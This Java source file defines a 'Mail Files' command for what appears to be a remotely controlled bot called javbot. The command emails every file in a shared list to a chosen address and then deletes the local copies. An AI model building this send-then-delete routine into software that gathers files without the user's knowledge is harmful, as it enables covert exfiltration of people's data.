package javbot.command;

import java.awt.AWTException;
import java.io.File;

import javbot.GlobalClass;
import javbot.mail.MailSender;

public class CmdMailFiles extends Command {

	final private String email;
	
	public CmdMailFiles(String email) throws AWTException {
		super();
		this.email = email;
		System.out.println(email);
	}

	public void execute() {

		String mailServerOut = GlobalClass.mailProps.getMailServerOut();

		if (mailServerOut.length() > 0)
			MailSender.sendEmail(email, "javbot@gmail.com",
					mailServerOut, GlobalClass.files, false);
		
		for (int i=0; i < GlobalClass.files.size();i++)
			((File) GlobalClass.files.get(i)).delete();
		GlobalClass.files.clear();
		
	}

	public String toString() {
		return "Mail Files " + email;
	}

}
